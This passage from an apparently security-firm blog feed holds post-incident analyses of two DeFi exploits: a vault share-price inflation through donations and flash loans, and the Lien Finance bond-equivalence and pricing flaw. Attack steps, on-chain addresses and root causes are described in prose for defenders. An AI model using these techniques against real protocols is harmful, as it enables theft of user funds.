https://substackcdn.com/image/fetch/$s_!FgR3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FgR3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png" width="1456" height="404" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:404,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:564678,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208782983?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FgR3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 424w, https://substackcdn.com/image/fetch/$s_!FgR3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 848w, https://substackcdn.com/image/fetch/$s_!FgR3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 1272w, https://substackcdn.com/image/fetch/$s_!FgR3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Lower Risk exploit: deposit, inflate NAV, and redeem 70.96M USDC</figcaption></figure></div><p>The attacker deposited <strong>64.83 million USDC</strong> into the Lower Risk vault at approximately <strong>1.0665 USDC per share</strong>, receiving 60.79 million shares.</p><p>They then donated Silo Varlamore tokens directly to the capped-but-active Silo Ark. The donation increased <code>totalAssets()</code> without minting new <strong>FleetCommander</strong> shares, raising the share price by approximately <strong>9.5%</strong>, from <strong>1.0665 to 1.1677 USDC</strong>.</p><p>The attacker subsequently redeemed 60.77 million shares for <strong>70.96 million USDC</strong>. The payout came from the vault&#8217;s buffer and liquid Sky, Morpho, and Spark Arks&#8212;not from the manipulated Silo position. </p><h4>5. Manipulating the Higher Risk Vault</h4><p>The attacker next deposited approximately <strong>29.52 million USDC</strong> into the Higher Risk vault at a share price near 1.0583.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hHyQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hHyQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 424w, https://substackcdn.com/image/fetch/$s_!hHyQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 848w, https://substackcdn.com/image/fetch/$s_!hHyQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 1272w, https://substackcdn.com/image/fetch/$s_!hHyQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hHyQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:669442,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208782983?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hHyQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 424w, https://substackcdn.com/image/fetch/$s_!hHyQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 848w, https://substackcdn.com/image/fetch/$s_!hHyQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 1272w, https://substackcdn.com/image/fetch/$s_!hHyQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4c32a631-e3eb-4f3b-b42c-913fee9b9bcc_2866x954.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Higher Risk exploit: deposit USDC, donate Term shares, then drain the prepared buffer.</figcaption></figure></div><p>They then <strong>donated the previously minted 439,778.13 Term shares</strong> to the Higher Risk Term Ark. The Ark credited those shares at approximately 490,636.89 USDC. This increased the Higher Risk share price from approximately <strong>1.0583 to 1.0756</strong>.</p><p>Unlike the Silo donation, the Term shares were not themselves acquired at a steep discount. The profit came from their dual use: minting them routed the underlying USDC into the Lower Risk buffer, where that capital had already been recovered in the preceding drain. The donation was therefore effectively funded by assets extracted during the Lower Risk leg.</p><p>The attacker <strong>redeemed approximately 27.81 million Higher Risk shares for 29.92 million USDC</strong>, draining nearly the entire prepared buffer and producing approximately <strong>$399,000 of additional value</strong>.</p><h4>6. Settlement</h4><p>After manipulating both vaults, the attacker repaid the Morpho flash loans and transferred approximately <strong>6.017 million DAI</strong>, along with the remaining vault shares, to the beneficiary address.</p><p>The total extracted value was approximately <strong>$6.04 million</strong>&#8212;about <strong>$5.64 million</strong> from the Lower Risk vault and <strong>$0.40 million</strong> from the Higher Risk vault. Because the entire exploit occurred atomically, monitoring and emergency pause mechanisms could not intervene between the NAV manipulation and withdrawals.</p><h3>Post-Exploit Fund Movement</h3><p>The exploit transaction transferred approximately 6.017 million DAI and the remaining vault shares to the beneficiary address. Subsequent onchain tracing indicates that part of the proceeds was converted to ETH and routed through intermediary addresses before reaching Tornado Cash.</p><h2>Conclusion</h2><p>The attacker donated overvalued Silo tokens to inflate the vault's reported NAV, then converted that accounting increase into liquid USDC held by the buffer and other Arks. The flash loans amplified the attack, but the capped Silo Ark remaining active in vault accounting was the decisive condition.</p><p>For vault aggregators, capping a strategy is not equivalent to removing it. A strategy remains security-critical for as long as it can influence the vault's accounting.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[LIEN FINANCE HACK ANALYSIS]]></title><description><![CDATA[Lien Finance is a decentralized finance (DeFi) protocol deployed on Ethereum, offering structured bond products through its BondMaker architecture - a system that lets users create, exchange, and redeem collateralized &#8220;bond groups&#8221; representing different tranches of an underlying asset&#8217;s payoff.]]></description><link>https://blog.verichains.io/p/lien-finance-hack-analysis</link><guid isPermaLink="false">https://blog.verichains.io/p/lien-finance-hack-analysis</guid><dc:creator><![CDATA[LCD]]></dc:creator><pubDate>Mon, 27 Jul 2026 08:02:23 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Fwgm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong><span>Lien Finance</span></strong><span> is a decentralized finance (DeFi) protocol deployed on </span><strong><span>Ethereum</span></strong><span>, offering structured bond products through its </span><strong><span>BondMaker</span></strong><span> architecture - a system that lets users create, exchange, and redeem collateralized &#8220;bond groups&#8221; representing different tranches of an underlying asset&#8217;s payoff.</span></p><p><span>On </span><strong><span>July 24, 2026</span></strong><span>, the protocol was exploited in an attack that resulted in an estimated loss of approximately </span><strong><span>$542,144.63 USDC</span></strong><span>. Unlike a typical flash-loan or reentrancy exploit, this attack was a </span><strong><span>logic/validation failure</span></strong><span>: the attacker permissionlessly registered a fraudulent bond group, exploited a flaw in the bond-exchange function to mint bonds without real collateral backing, then sold those synthetic bonds into Lien&#8217;s OTC pools for genuine USDC.</span></p><h1><strong>Overview</strong></h1><ul><li><p><span>Attacker (EOA): </span><a href="https://etherscan.io/address/0x0D7d9023531aD1A88414E216Ee2715F63561808a"><span>0x0D7d9023531aD1A88414E216Ee2715F63561808a</span></a></p></li><li><p><span>Attacker&#8217;s contract: </span><a href="https://etherscan.io/address/0xe74d17c1bE3721E65e0af286D47B3BA58B08062e"><span>0xe74d17c1bE3721E65e0af286D47B3BA58B08062e</span></a></p></li><li><p><span>Vulnerable contracts: </span><a href="https://etherscan.io/address/0xDA6FC5625E617bB92F5359921D43321cEbC6BEf0"><span>0xDA6FC5625E617bB92F5359921D43321cEbC6BEf0</span></a></p></li><li><p><span>Affected pool: </span><a href="https://etherscan.io/address/0x656e5e976d523a427f05B0c212A22A89ccD9eF18"><span>0x656e5e976d523a427f05B0c212A22A89ccD9eF18</span></a></p></li><li><p><span>Victim address: </span><a href="https://etherscan.io/address/0xA961684a3a654fb2cCA8F8991226C0CEfc514d80"><span>0xA961684a3a654fb2cCA8F8991226C0CEfc514d80</span></a></p></li><li><p><span>Exploit transaction: </span><a href="https://etherscan.io/tx/0xb96d572b557a12f5ef193e88cca86123a6ae1b6e98b0eeee265870c85848e0e7"><span>0xb96d572b557a12f5ef193e88cca86123a6ae1b6e98b0eeee265870c85848e0e7</span></a></p></li></ul><h1><strong><span>Analysis</span></strong></h1><p><span>In the BondMaker design, a &#8220;bond group&#8221; is a set of BondTokens whose payoffs are constructed so that, together, they are fully backed by (and can be reconstituted into) a fixed amount of underlying collateral. To keep the system flexible, BondMaker allows new bond groups to be </span><strong><span>registered permissionlessly</span></strong><span> - anyone can define a new group with a custom payoff function without governance approval - and allows </span><strong><span>equivalent bond groups to be exchanged for one another</span></strong><span> via a function, </span><code>exchangeEquivalentBonds</code><span>, provided the two groups are proven to have matching economic value.</span></p><p><span>This is precisely the architectural surface that was attacked once before: in September 2020, a whitehat group led by Samczsun rescued roughly </span><strong><span>$10M</span></strong><span> from the original BondMaker contract after discovering that empty bond groups could be exchanged against properly collateralized ones through the equivalence function, extracting Ether without real backing. Six years later, the same class of surface - permissionless registration combined with an equivalence/rate function - produced a new failure mode, this time exploited for a real loss rather than intercepted.</span></p><h4><strong><span>The attack, step by step</span></strong></h4><ol><li><p><strong><span>Deploy an orchestration contract.</span></strong><span> The attacker deployed a helper/orchestration contract </span><a href="https://etherscan.io/address/0xe74d17c1bE3721E65e0af286D47B3BA58B08062e"><span>0xe74d17c1bE3721E65e0af286D47B3BA58B08062e</span></a><span> to sequence the exploit in a single flow.</span></p></li><li><p><strong><span>Register a malicious bond group.</span></strong><span> Using BondMakerCollateralizedEth&#8217;s permissionless registration path, the attacker registered a new bond group built around a </span><strong><span>crafted payoff function</span></strong><span>. Because registration requires no governance or whitelist gate, the group&#8217;s economic parameters were never checked against any real underlying value.</span></p></li><li><p><strong><span>Abuse </span></strong><code>exchangeEquivalentBonds</code><strong><span>.</span></strong><span> This is the core logic bug. The function is meant to verify bond-group </span><em><span>equivalence</span></em><span> by checking that every bondID in the input group appears the required number of times in the output group (a multiset/per-element check). Instead, it only counted the </span><strong><span>total number of &#8220;exception&#8221; entries</span></strong><span> across the group - an aggregate count, not a per-ID check. By </span><strong><span>repeating the same exception bondID</span></strong><span> multiple times in the output group, the attacker satisfied the total-count check while silently </span><strong><span>omitting a different bond that should have been required</span></strong><span> on the input side. The practical effect: the attacker minted new BondTokens without actually burning/consuming a matching set of collateralized bonds. The tokens looked structurally valid to the contract but had no real collateral behind them.</span></p></li><li><p><strong><span>Route the synthetic bonds into the OTC pool.</span></strong><span> The newly minted (but uncollateralized) BondTokens were swapped through Lien&#8217;s </span><code>GeneralizedDotc</code><span> bond-to-ERC20 OTC pool </span><a href="https://etherscan.io/address/0x656e5e976d523a427f05B0c212A22A89ccD9eF18"><span>0x656e5e976d523a427f05B0c212A22A89ccD9eF18</span></a><span>.</span></p></li><li><p><strong><span>Exploit the pricing gap.</span></strong><span> The pool&#8217;s internal pricing function, </span><code>_calcRateBondToErc20</code><span>, computes an exchange rate for a bond based on its registered payoff characteristics - but does not independently verify that the bond is actually backed by real collateral. Because the attacker&#8217;s bond group had a custom payoff function and no real backing to validate against, </span><code>_calcRateBondToErc20</code><span> priced the synthetic bonds at a level far above their true (zero) value.</span></p></li><li><p><strong><span>Drain liquidity.</span></strong><span> Swapping the overpriced synthetic bonds against the pool&#8217;s real USDC liquidity - through three pre-authorized endpoints - extracted approximately </span><strong><span>542,144.63 USDC</span></strong><span>, funded by allowances originating from the liquidity provider at </span><a href="https://etherscan.io/address/0xA961684a3a654fb2cCA8F8991226C0CEfc514d80"><span>0xA961684a3a654fb2cCA8F8991226C0CEfc514d80</span></a><span>, and sent it to the attacker&#8217;s wallet </span><a href="https://etherscan.io/address/0x0D7d9023531aD1A88414E216Ee2715F63561808a"><span>0x0D7d9023531aD1A88414E216Ee2715F63561808a</span></a><span>.</span></p></li></ol><h4><strong><span>Root cause</span></strong></h4><p><span>The incident stems from </span><strong><span>two compounding design gaps</span></strong><span>, neither of which is a memory-safety bug or access-control bypass in the classic sense:</span></p><ul><li><p><strong><span>Insufficient equivalence validation</span></strong><span>: </span><code>exchangeEquivalentBonds</code><span> validated bond-group equivalence using an aggregate count of &#8220;exception&#8221; occurrences rather than verifying that each individual bondID appears the correct number of times. A multiset-equality check was effectively downgraded to a weaker count-equality check, which is satisfiable by repeating one element instead of including all required elements.</span></p></li><li><p><strong><span>Untrusted pricing input</span></strong><span>: </span><code>_calcRateBondToErc20</code><span> trusted the payoff metadata of a bond group that anyone could register permissionlessly, without cross-checking it against actual collateral held by the protocol. Combining &#8220;anyone can define a financial instrument&#8221; with &#8220;the pricing engine trusts what&#8217;s defined&#8221; gave the attacker a direct path from a crafted registration to real, extractable value.</span></p></li></ul><p><span>Either flaw alone would have limited impact - a bad equivalence check without a naive pricing function wouldn&#8217;t yield extractable value, and a naive pricing function without a way to mint uncollateralized bonds wouldn&#8217;t have anything worthless to overprice. Together, they turned a permissionless convenience feature into a $542K loss.</span></p><h4><strong><span>Vulnerable code</span></strong></h4><p><span>The following is the verified source of </span><code>exchangeEquivalentBonds</code><span> as deployed at </span><a href="https://etherscan.io/address/0x843225CF6e663e4454732D6B551A737Ac7b47de0#code"><span>0x843225CF6e663e4454732D6B551A737Ac7b47de0</span></a><span> (</span><code>BondMakerCollateralizedEth.sol</code><span>):</span></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Fwgm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Fwgm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 424w, https://substackcdn.com/image/fetch/$s_!Fwgm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 848w, https://substackcdn.com/image/fetch/$s_!Fwgm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 1272w, https://substackcdn.com/image/fetch/$s_!Fwgm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Fwgm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png" width="1456" height="1757" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1757,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:614199,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208638735?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Fwgm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 424w, https://substackcdn.com/image/fetch/$s_!Fwgm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 848w, https://substackcdn.com/image/fetch/$s_!Fwgm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 1272w, https://substackcdn.com/image/fetch/$s_!Fwgm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68beadd1-4658-446d-a362-dd41079ddac6_2048x2472.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p><span>The bug is in the counter arithmetic: </span><code>exceptionCount</code><span> is a single running total, incremented once per match found while scanning </span><code>inputIDs</code><span> and decremented once per match found while scanning </span><code>outputIDs</code><span>. The two </span><code>require</code><span> statements only assert that the </span><em><span>net count</span></em><span> balances out to zero - they never assert that each individual bondID in </span><code>exceptionBonds</code><span> was matched exactly once against a </span><em><span>distinct</span></em><span> input bond and once against a </span><em><span>distinct</span></em><span> output bond. By crafting </span><code>exceptionBonds</code><span> and the output bond group so that the same exception bondID is matched repeatedly, the attacker could satisfy </span><code>exceptionCount == 0</code><span> while a bond that should have been required in </span><code>outputIDs</code><span> (and thus minted only in exchange for burning something of equal value) never got the burn-side counterpart it needed - allowing </span><code>_mintBond</code><span> to run for bonds that were never fully backed by an equivalent burn.</span></p><p><span>The following is the verified source of </span><code>_calcRateBondToErc20</code><span> as deployed at </span><a href="https://etherscan.io/address/0x656e5e976d523a427f05B0c212A22A89ccD9eF18#code"><span>0x656e5e976d523a427f05B0c212A22A89ccD9eF18</span></a><span> (</span><code>GeneralizedDotc.sol</code><span>):</span></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6IJz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6IJz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 424w, https://substackcdn.com/image/fetch/$s_!6IJz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 848w, https://substackcdn.com/image/fetch/$s_!6IJz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 1272w, https://substackcdn.com/image/fetch/$s_!6IJz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6IJz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png" width="1138" height="1428" 